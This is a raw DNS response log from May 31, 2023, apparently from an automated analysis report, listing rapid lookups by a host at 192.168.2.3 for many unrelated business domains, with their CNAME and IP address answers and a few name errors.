May 31, 2023 14:50:14.548604012 CEST	8.8.8.8	192.168.2.3	0x1812	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.548604012 CEST	8.8.8.8	192.168.2.3	0x1812	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.753969908 CEST	8.8.8.8	192.168.2.3	0x68e7	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.753969908 CEST	8.8.8.8	192.168.2.3	0x68e7	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.761657953 CEST	8.8.8.8	192.168.2.3	0xdb94	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.761657953 CEST	8.8.8.8	192.168.2.3	0xdb94	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.761657953 CEST	8.8.8.8	192.168.2.3	0xdb94	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.909889936 CEST	8.8.8.8	192.168.2.3	0x171b	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.909889936 CEST	8.8.8.8	192.168.2.3	0x171b	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.909889936 CEST	8.8.8.8	192.168.2.3	0x171b	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.965610981 CEST	8.8.8.8	192.168.2.3	0xfdae	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.965610981 CEST	8.8.8.8	192.168.2.3	0xfdae	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.965610981 CEST	8.8.8.8	192.168.2.3	0xfdae	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.153477907 CEST	8.8.8.8	192.168.2.3	0x78a8	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.153477907 CEST	8.8.8.8	192.168.2.3	0x78a8	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.153477907 CEST	8.8.8.8	192.168.2.3	0x78a8	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.188338041 CEST	8.8.8.8	192.168.2.3	0x937b	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.268337011 CEST	8.8.8.8	192.168.2.3	0x8bc5	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.270301104 CEST	8.8.8.8	192.168.2.3	0x217d	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:15.270301104 CEST	8.8.8.8	192.168.2.3	0x217d	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.363949060 CEST	8.8.8.8	192.168.2.3	0xba45	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:15.363949060 CEST	8.8.8.8	192.168.2.3	0xba45	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.378761053 CEST	8.8.8.8	192.168.2.3	0x22d3	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.378761053 CEST	8.8.8.8	192.168.2.3	0x22d3	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.378761053 CEST	8.8.8.8	192.168.2.3	0x22d3	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.027190924 CEST	8.8.8.8	192.168.2.3	0x873b	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.034143925 CEST	8.8.8.8	192.168.2.3	0x408	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.041892052 CEST	8.8.8.8	192.168.2.3	0xf3d8	No error (0)	www.petsfan.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.041892052 CEST	8.8.8.8	192.168.2.3	0xf3d8	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.041892052 CEST	8.8.8.8	192.168.2.3	0xf3d8	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.041892052 CEST	8.8.8.8	192.168.2.3	0xf3d8	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.043951988 CEST	8.8.8.8	192.168.2.3	0x2784	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.043951988 CEST	8.8.8.8	192.168.2.3	0x2784	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.162345886 CEST	8.8.8.8	192.168.2.3	0x3e27	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.162345886 CEST	8.8.8.8	192.168.2.3	0x3e27	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.162345886 CEST	8.8.8.8	192.168.2.3	0x3e27	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.170674086 CEST	8.8.8.8	192.168.2.3	0xdfd	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.182168961 CEST	8.8.8.8	192.168.2.3	0xefb1	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.193101883 CEST	8.8.8.8	192.168.2.3	0x405b	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.193101883 CEST	8.8.8.8	192.168.2.3	0x405b	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.193101883 CEST	8.8.8.8	192.168.2.3	0x405b	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.281328917 CEST	8.8.8.8	192.168.2.3	0x230c	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.281328917 CEST	8.8.8.8	192.168.2.3	0x230c	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.446666956 CEST	8.8.8.8	192.168.2.3	0x3c32	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.755527020 CEST	8.8.8.8	192.168.2.3	0x4cfb	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.755527020 CEST	8.8.8.8	192.168.2.3	0x4cfb	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.852197886 CEST	8.8.8.8	192.168.2.3	0x51dd	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.855426073 CEST	8.8.8.8	192.168.2.3	0x2646	No error (0)	www.cokocoko.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.855426073 CEST	8.8.8.8	192.168.2.3	0x2646	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:16.855426073 CEST	8.8.8.8	192.168.2.3	0x2646	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.855426073 CEST	8.8.8.8	192.168.2.3	0x2646	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.855726957 CEST	8.8.8.8	192.168.2.3	0xa4ec	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.862310886 CEST	8.8.8.8	192.168.2.3	0x804f	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.862310886 CEST	8.8.8.8	192.168.2.3	0x804f	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.864573002 CEST	8.8.8.8	192.168.2.3	0x2ccf	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.864573002 CEST	8.8.8.8	192.168.2.3	0x2ccf	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.097806931 CEST	8.8.8.8	192.168.2.3	0x4da9	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.106409073 CEST	8.8.8.8	192.168.2.3	0x958a	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.106409073 CEST	8.8.8.8	192.168.2.3	0x958a	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.465817928 CEST	8.8.8.8	192.168.2.3	0xfcd0	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.465817928 CEST	8.8.8.8	192.168.2.3	0xfcd0	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.468671083 CEST	8.8.8.8	192.168.2.3	0x84e8	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.468671083 CEST	8.8.8.8	192.168.2.3	0x84e8	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.481635094 CEST	8.8.8.8	192.168.2.3	0x9236	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.481635094 CEST	8.8.8.8	192.168.2.3	0x9236	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.487889051 CEST	8.8.8.8	192.168.2.3	0xd2c1	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.487889051 CEST	8.8.8.8	192.168.2.3	0xd2c1	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.493105888 CEST	8.8.8.8	192.168.2.3	0xf908	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.493105888 CEST	8.8.8.8	192.168.2.3	0xf908	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.493168116 CEST	8.8.8.8	192.168.2.3	0x6e74	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.493168116 CEST	8.8.8.8	192.168.2.3	0x6e74	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.571207047 CEST	8.8.8.8	192.168.2.3	0x9e73	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.571207047 CEST	8.8.8.8	192.168.2.3	0x9e73	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.571207047 CEST	8.8.8.8	192.168.2.3	0x9e73	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.571207047 CEST	8.8.8.8	192.168.2.3	0x9e73	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.571207047 CEST	8.8.8.8	192.168.2.3	0x9e73	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.945600986 CEST	8.8.8.8	192.168.2.3	0x7df9	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.945600986 CEST	8.8.8.8	192.168.2.3	0x7df9	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.978111029 CEST	8.8.8.8	192.168.2.3	0xebf6	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.981764078 CEST	8.8.8.8	192.168.2.3	0xfbb5	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:17.981764078 CEST	8.8.8.8	192.168.2.3	0xfbb5	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.114525080 CEST	8.8.8.8	192.168.2.3	0x6094	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.216258049 CEST	8.8.8.8	192.168.2.3	0x4bae	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:18.216258049 CEST	8.8.8.8	192.168.2.3	0x4bae	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.504374981 CEST	8.8.8.8	192.168.2.3	0xe456	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.504374981 CEST	8.8.8.8	192.168.2.3	0xe456	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.504642963 CEST	8.8.8.8	192.168.2.3	0xf886	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.504642963 CEST	8.8.8.8	192.168.2.3	0xf886	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.505810976 CEST	8.8.8.8	192.168.2.3	0x6323	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.506479025 CEST	8.8.8.8	192.168.2.3	0xe41c	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.583201885 CEST	8.8.8.8	192.168.2.3	0xf62f	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.619075060 CEST	8.8.8.8	192.168.2.3	0x3206	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:18.619075060 CEST	8.8.8.8	192.168.2.3	0x3206	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.728780031 CEST	8.8.8.8	192.168.2.3	0x68bc	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.777509928 CEST	8.8.8.8	192.168.2.3	0x52e	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.860430956 CEST	8.8.8.8	192.168.2.3	0x64ed	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.860430956 CEST	8.8.8.8	192.168.2.3	0x64ed	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.924487114 CEST	8.8.8.8	192.168.2.3	0xb91e	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.924535990 CEST	8.8.8.8	192.168.2.3	0xbd81	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.944350958 CEST	8.8.8.8	192.168.2.3	0xc385	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.964977026 CEST	8.8.8.8	192.168.2.3	0x14fd	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.022538900 CEST	8.8.8.8	192.168.2.3	0xbea5	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:19.022538900 CEST	8.8.8.8	192.168.2.3	0xbea5	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.037345886 CEST	8.8.8.8	192.168.2.3	0x158a	No error (0)	www.netcr.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:19.037345886 CEST	8.8.8.8	192.168.2.3	0x158a	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:19.037345886 CEST	8.8.8.8	192.168.2.3	0x158a	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.037345886 CEST	8.8.8.8	192.168.2.3	0x158a	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.291528940 CEST	8.8.8.8	192.168.2.3	0xaeb7	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:19.291528940 CEST	8.8.8.8	192.168.2.3	0xaeb7	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:19.291528940 CEST	8.8.8.8	192.168.2.3	0xaeb7	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.659956932 CEST	8.8.8.8	192.168.2.3	0x693a	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.677777052 CEST	8.8.8.8	192.168.2.3	0x23ce	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:19.677777052 CEST	8.8.8.8	192.168.2.3	0x23ce	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.752424955 CEST	8.8.8.8	192.168.2.3	0xb82f	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.752424955 CEST	8.8.8.8	192.168.2.3	0xb82f	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.752424955 CEST	8.8.8.8	192.168.2.3	0xb82f	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.986633062 CEST	8.8.8.8	192.168.2.3	0x9248	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:20.705137968 CEST	8.8.8.8	192.168.2.3	0x51cb	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:20.705137968 CEST	8.8.8.8	192.168.2.3	0x51cb	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:21.743176937 CEST	8.8.8.8	192.168.2.3	0xed0a	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:21.743176937 CEST	8.8.8.8	192.168.2.3	0xed0a	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.022105932 CEST	8.8.8.8	192.168.2.3	0xf9b9	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.048383951 CEST	8.8.8.8	192.168.2.3	0x7acc	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.057909012 CEST	8.8.8.8	192.168.2.3	0x2a6c	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:22.057909012 CEST	8.8.8.8	192.168.2.3	0x2a6c	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:22.057909012 CEST	8.8.8.8	192.168.2.3	0x2a6c	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.87	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.057909012 CEST	8.8.8.8	192.168.2.3	0x2a6c	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.057909012 CEST	8.8.8.8	192.168.2.3	0x2a6c	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.057909012 CEST	8.8.8.8	192.168.2.3	0x2a6c	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.205136061 CEST	8.8.8.8	192.168.2.3	0x9e2e	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:22.205136061 CEST	8.8.8.8	192.168.2.3	0x9e2e	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:22.205136061 CEST	8.8.8.8	192.168.2.3	0x9e2e	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:22.205136061 CEST	8.8.8.8	192.168.2.3	0x9e2e	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:22.205136061 CEST	8.8.8.8	192.168.2.3	0x9e2e	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.824901104 CEST	8.8.8.8	192.168.2.3	0x1599	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.068614960 CEST	8.8.8.8	192.168.2.3	0x368d	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:23.068614960 CEST	8.8.8.8	192.168.2.3	0x368d	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.071105003 CEST	8.8.8.8	192.168.2.3	0x37b0	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.071105003 CEST	8.8.8.8	192.168.2.3	0x37b0	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.071105003 CEST	8.8.8.8	192.168.2.3	0x37b0	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.126564980 CEST	8.8.8.8	192.168.2.3	0x47fa	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.126564980 CEST	8.8.8.8	192.168.2.3	0x47fa	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.367641926 CEST	8.8.8.8	192.168.2.3	0x834e	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.507720947 CEST	8.8.8.8	192.168.2.3	0xb2bf	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.561264038 CEST	8.8.8.8	192.168.2.3	0x1979	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.652358055 CEST	8.8.8.8	192.168.2.3	0x124	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.684063911 CEST	8.8.8.8	192.168.2.3	0x6ac	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.792495966 CEST	8.8.8.8	192.168.2.3	0x3144	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:24.100970984 CEST	8.8.8.8	192.168.2.3	0xd2c	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:24.102216959 CEST	8.8.8.8	192.168.2.3	0x76d9	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:24.940023899 CEST	8.8.8.8	192.168.2.3	0xc9ca	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:25.236860037 CEST	8.8.8.8	192.168.2.3	0x5dd	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:25.253985882 CEST	8.8.8.8	192.168.2.3	0x7c08	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:26.483630896 CEST	8.8.8.8	192.168.2.3	0x1875	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.036911011 CEST	8.8.8.8	192.168.2.3	0x4101	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.036911011 CEST	8.8.8.8	192.168.2.3	0x4101	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.043330908 CEST	8.8.8.8	192.168.2.3	0x9c56	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.046996117 CEST	8.8.8.8	192.168.2.3	0xa4c4	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.046996117 CEST	8.8.8.8	192.168.2.3	0xa4c4	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.047329903 CEST	8.8.8.8	192.168.2.3	0x6d59	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.047329903 CEST	8.8.8.8	192.168.2.3	0x6d59	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.049025059 CEST	8.8.8.8	192.168.2.3	0x5792	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.049025059 CEST	8.8.8.8	192.168.2.3	0x5792	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.049169064 CEST	8.8.8.8	192.168.2.3	0x9c0	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.051672935 CEST	8.8.8.8	192.168.2.3	0xd921	No error (0)	www.pdqhomes.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.051672935 CEST	8.8.8.8	192.168.2.3	0xd921	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
